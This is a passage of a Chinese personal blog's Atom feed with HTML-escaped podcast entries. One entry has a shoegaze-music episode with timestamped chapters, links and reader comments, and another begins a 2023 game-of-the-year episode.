        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;southern-france
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;southern-france&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


两人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>电台：吸尘器音乐</title>
    <published>2024-05-21T12:23:58+01:00</published>
    <updated>2024-05-21T20:33:50+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/vacuum/" type="text/html" />
    <id>https://emptystack.top/vacuum/</id>
    <content type="html">
      &lt;p&gt;本期电台是计划中的第二期电台，在去年十月就说好要录了。今年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;4&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号开始录制，期间发生重大事故，最后在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;20&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号才剪辑&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;抢救完毕。&lt;&#x2F;p&gt;
&lt;p&gt;另外，经主播长提议，本电台更名为“双贝子电台&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在线收听&quot;&gt;在线收听&lt;&#x2F;h2&gt;
&lt;div class=&quot;podcast&quot;&gt;
&lt;p&gt;
    📢：也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或苹果播客订阅本播客&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）来收听！
&lt;&#x2F;p&gt;
&lt;script&gt;
function seek(time) {
    const player = document.getElementById(&#x27;player&#x27;)
    player.play()
    player.currentTime = time
}
&lt;&#x2F;script&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;1000018877-01.jpeg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;1000018877-01.jpeg&quot;
	alt=&quot;本期播客封面：蓝色的迷雾包裹着蓝色的吸尘器&quot;
	height=&quot;1396&quot;
	width=&quot;1395&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;audio controls preload=&quot;metadata&quot; style=&quot;display:block;width:100%&quot; id=&quot;player&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;vacuum.mp3&quot; type=&quot;audio&#x2F;mpeg&quot; &#x2F;&gt;
    你的浏览器不支持嵌入音频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;vacuum.mp3&quot;&gt;下载&lt;&#x2F;a&gt;下来听。
    视频内容：俩闲人聊盯鞋音乐
&lt;&#x2F;audio&gt;
&lt;p&gt;&lt;button onclick=&quot;seek(0.0)&quot; style=&quot;margin-right:1ch&quot;&gt;00:00&lt;&#x2F;button&gt;噪音预警&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(16.75)&quot; style=&quot;margin-right:1ch&quot;&gt;00:17&lt;&#x2F;button&gt;Panchiko
– D&amp;gt;E&amp;gt;A&amp;gt;T&amp;gt;H&amp;gt;M&amp;gt;E&amp;gt;T&amp;gt;A&amp;gt;L&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(274.125)&quot; style=&quot;margin-right:1ch&quot;&gt;05:34&lt;&#x2F;button&gt;开场&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(430.437)&quot; style=&quot;margin-right:1ch&quot;&gt;07:10&lt;&#x2F;button&gt;The
Raveonettes – Dead Sound&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(633.437)&quot; style=&quot;margin-right:1ch&quot;&gt;11:33&lt;&#x2F;button&gt;主播长在北京的冬天听《Dead
Sound》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(892.687)&quot; style=&quot;margin-right:1ch&quot;&gt;15:53&lt;&#x2F;button&gt;首钢是后黄金时代的环保圣地&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1069.5)&quot; style=&quot;margin-right:1ch&quot;&gt;18:50&lt;&#x2F;button&gt;主播长在首钢园外追星失败&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1146.0)&quot; style=&quot;margin-right:1ch&quot;&gt;19:06&lt;&#x2F;button&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;眼镜&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1237.062)&quot; style=&quot;margin-right:1ch&quot;&gt;21:37&lt;&#x2F;button&gt;Mira
– When You Sleep&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1607.394)&quot; style=&quot;margin-right:1ch&quot;&gt;27:47&lt;&#x2F;button&gt;尝试解释&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shoegaze&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Dream
Pop&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1858.187)&quot; style=&quot;margin-right:1ch&quot;&gt;31:58&lt;&#x2F;button&gt;my
bloody valentine – when you sleep&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2110.129)&quot; style=&quot;margin-right:1ch&quot;&gt;35:10&lt;&#x2F;button&gt;马鲛鱼为大家带来极致的耳膜享受——从四面八方唠一小时&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;my
bloody valentine&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2133.437)&quot; style=&quot;margin-right:1ch&quot;&gt;36:33&lt;&#x2F;button&gt;主播长终于听完了马鲛鱼的唠叨，认为《when
you sleep》是《loveless》里唯一能听的歌&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2191.694)&quot; style=&quot;margin-right:1ch&quot;&gt;37:32&lt;&#x2F;button&gt;马鲛鱼
– only tomorrow&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2554.769)&quot; style=&quot;margin-right:1ch&quot;&gt;43:35&lt;&#x2F;button&gt;马鲛鱼简单介绍下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;only
tomorrow&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2613.068)&quot; style=&quot;margin-right:1ch&quot;&gt;44:33&lt;&#x2F;button&gt;yourboyfriendsucks!
– Intro (Just Like Honey)&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2789.312)&quot; style=&quot;margin-right:1ch&quot;&gt;46:29&lt;&#x2F;button&gt;主播长在武汉某封面展的见闻&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3004.594)&quot; style=&quot;margin-right:1ch&quot;&gt;50:05&lt;&#x2F;button&gt;马鲛鱼回忆第一次听&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;yourboyfriendsucks!&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那天吃的纳豆&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3109.769)&quot; style=&quot;margin-right:1ch&quot;&gt;52:50&lt;&#x2F;button&gt;Sweet
Trip – Chocolate Matter&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3347.827)&quot; style=&quot;margin-right:1ch&quot;&gt;56:48&lt;&#x2F;button&gt;马鲛鱼认识到他需要和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;相似又不同的声音&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3479.832)&quot; style=&quot;margin-right:1ch&quot;&gt;58:60&lt;&#x2F;button&gt;The
Jesus and Mary Chain – April Skies&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3717.269)&quot; style=&quot;margin-right:1ch&quot;&gt;62:57&lt;&#x2F;button&gt;主播长简单介绍&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JAMC&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3811.519)&quot; style=&quot;margin-right:1ch&quot;&gt;64:32&lt;&#x2F;button&gt;JAMC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的“抽象”访谈&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4013.207)&quot; style=&quot;margin-right:1ch&quot;&gt;67:53&lt;&#x2F;button&gt;马鲛鱼的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JAMC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;现场见闻&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4219.957)&quot; style=&quot;margin-right:1ch&quot;&gt;70:20&lt;&#x2F;button&gt;pasteboard
– Breakbeats&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4478.519)&quot; style=&quot;margin-right:1ch&quot;&gt;75:39&lt;&#x2F;button&gt;主播长怒斥日本盯鞋乐队太有文化&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4700.019)&quot; style=&quot;margin-right:1ch&quot;&gt;78:20&lt;&#x2F;button&gt;主播长认为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Breakbeats&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的吉他声有北京腔&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4744.149)&quot; style=&quot;margin-right:1ch&quot;&gt;79:04&lt;&#x2F;button&gt;尝试探讨&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Tokyo
Shoegazer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的汉字为什么是东京酒吐座&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4792.337)&quot; style=&quot;margin-right:1ch&quot;&gt;80:52&lt;&#x2F;button&gt;驱使马鲛鱼第一次听&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的其实就是日本人的《Yellow
Loveless》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4935.769)&quot; style=&quot;margin-right:1ch&quot;&gt;82:16&lt;&#x2F;button&gt;主播长评价广东&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Shoegazer&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(5036.332)&quot; style=&quot;margin-right:1ch&quot;&gt;84:56&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Train》的歌词与火车在电影中的意象&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(5384.894)&quot; style=&quot;margin-right:1ch&quot;&gt;90:45&lt;&#x2F;button&gt;Chestnut
Bakery – Train&lt;&#x2F;p&gt;
&lt;&#x2F;div&gt;
&lt;h2 id=&quot;扩展&quot;&gt;扩展&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=sYjMVb74xfU&quot;&gt;Panchiko&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;重见天日的故事&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;casouri.github.io&#x2F;rock&#x2F;day&#x2F;collection&#x2F;day-121.html&quot;&gt;D&amp;gt;E&amp;gt;A&amp;gt;T&amp;gt;H&amp;gt;M&amp;gt;E&amp;gt;T&amp;gt;A&amp;gt;L&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的赏析&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;archive.fo&#x2F;vmjfw&quot;&gt;附带&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;眼镜的《Lust
Lust Lust》&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Fender&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Jazzmaster
60&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;周年时采访&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kevin
Sheilds：&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=qd1Xmr2YY7c&quot;&gt;第一部分&lt;&#x2F;a&gt;、&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=gxkzYCT2NGM&quot;&gt;第二部分&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;MyBloodyValentine&#x2F;comments&#x2F;sz3suo&#x2F;guitar_magazine_japan_full_scan&#x2F;&quot;&gt;采访&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Kevin
Shields&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的那期《Guitar》杂志&lt;&#x2F;a&gt;。其中记录了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Sonic
Youth&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JAMC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;共演时第一次认识了垫场的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;mbv。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;steamcommunity.com&#x2F;app&#x2F;612070?l=schinese&quot;&gt;由史悲和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Light&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;共同制作的《Kio&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的人间冒险》&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Primal_Scream&quot;&gt;只敲两个鼓的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JAMC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;初代鼓手后来成立了大名鼎鼎的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Primal
Scream&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.setlist.fm&#x2F;setlist&#x2F;the-jesus-and-mary-chain&#x2F;2024&#x2F;usher-hall-edinburgh-scotland-3aa4d23.html&quot;&gt;2024&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月，JAMC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在爱丁堡的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;setlist&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;tokyoshoegazer.bandcamp.com&#x2F;&quot;&gt;Tokyo
Shoegazer&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的专辑封面&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.hitsujibungaku.info&#x2F;disco&#x2F;&quot;&gt;羊文学的专辑&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=J7laguPTT-Q&quot;&gt;历史上第一部电影：&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;L&#x27;Arrivée d&#x27;un train
en gare de La Ciotat》&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;video&#x2F;BV1Ss4y1p7dm&#x2F;?p=22&amp;amp;t=480&quot;&gt;贝托鲁奇《一九〇〇》的结尾&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;幕后花絮&quot;&gt;幕后花絮&lt;&#x2F;h2&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20240521-162909~2.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20240521-162909~2.png&quot;
	alt=&quot;主播长表示越难听就越好听&quot;
	height=&quot;412&quot;
	width=&quot;864&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;



      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;vacuum
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;vacuum&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;Brsu&quot;&gt;










黑糖 :splat_golden_egg:&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


两条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;112820308282947604&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 博客咋停刊了呀www&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mastodon.social&amp;#x2F;users&amp;#x2F;sabrinalin&amp;#x2F;statuses&amp;#x2F;112480803633328360&quot;&gt;










小林酱&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot; translate=&quot;no&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 表扬这位同学每周末坚持剪音频并反复修改耗时一个多月！希望他可以一直有热爱的事情并且愿意为之付出精力和时间～祝主播节目越做越好捏！&lt;br &#x2F;&gt;另外521快乐哟～我的主播&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>电台：2023年度游戏</title>
    <published>2024-03-25T20:50:41+00:00</published>
    <updated>2024-03-25T20:50:41+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/goty-2023/" type="text/html" />
    <id>https://emptystack.top/goty-2023/</id>
    <content type="html">
      &lt;p&gt;本期录制于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;27&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;日。感谢三日月和逢坂润的参与；特别感谢主播长的剪辑、绘画与时间轴。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;在线收听&quot;&gt;在线收听&lt;&#x2F;h2&gt;
&lt;div class=&quot;podcast&quot;&gt;
&lt;p&gt;
    📢：也可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;AntennaPod&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;或苹果播客订阅本播客&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;地址（&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&quot;&gt;https:&#x2F;&#x2F;emptystack.top&#x2F;podcast&lt;&#x2F;a&gt;）来收听！
&lt;&#x2F;p&gt;
&lt;script&gt;
function seek(time) {
    const player = document.getElementById(&#x27;player&#x27;)
    player.play()
    player.currentTime = time
}
&lt;&#x2F;script&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;mmexport1711395627645.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;mmexport1711395627645.jpg&quot;
	alt=&quot;播客封面：背景是四个游戏——左上角是《FIFA》、右上角是《TUNIC》、左下角是《王国之泪》、右下角是《VAM》。前面写着“2023年度游戏”八个大字&quot;
	height=&quot;1389&quot;
	width=&quot;1389&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;audio controls preload=&quot;metadata&quot; style=&quot;display:block;width:100%&quot; id=&quot;player&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;goty-2023.mp3&quot; type=&quot;audio&#x2F;mpeg&quot; &#x2F;&gt;
    你的浏览器不支持嵌入音频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;goty-2023.mp3&quot;&gt;下载&lt;&#x2F;a&gt;下来听。
    视频内容：四个朋友讲自己的2023年度游戏
&lt;&#x2F;audio&gt;
&lt;p&gt;&lt;button onclick=&quot;seek(66)&quot; style=&quot;margin-right:1ch&quot;&gt;01:06&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;赛博朋克&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2077》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(304)&quot; style=&quot;margin-right:1ch&quot;&gt;05:04&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;FIFA》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(1253)&quot; style=&quot;margin-right:1ch&quot;&gt;21:53&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Splatoon
3》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(2608)&quot; style=&quot;margin-right:1ch&quot;&gt;43:28&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;TUNIC》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(3926)&quot; style=&quot;margin-right:1ch&quot;&gt;65:26&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;怪兽远征》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(4165)&quot; style=&quot;margin-right:1ch&quot;&gt;69:25&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;超级马里奥兄弟：惊奇》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(5033)&quot; style=&quot;margin-right:1ch&quot;&gt;84:53&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;塞尔达传说：王国之泪》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(6327)&quot; style=&quot;margin-right:1ch&quot;&gt;105:27&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;半条命
Alyx》&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(6415)&quot; style=&quot;margin-right:1ch&quot;&gt;107:55&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;Virt-a-Mate》与&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;游戏杂谈&lt;br &#x2F;&gt;
&lt;button onclick=&quot;seek(7190)&quot; style=&quot;margin-right:1ch&quot;&gt;120:50&lt;&#x2F;button&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;明日方舟》与手机游戏杂谈&lt;&#x2F;p&gt;
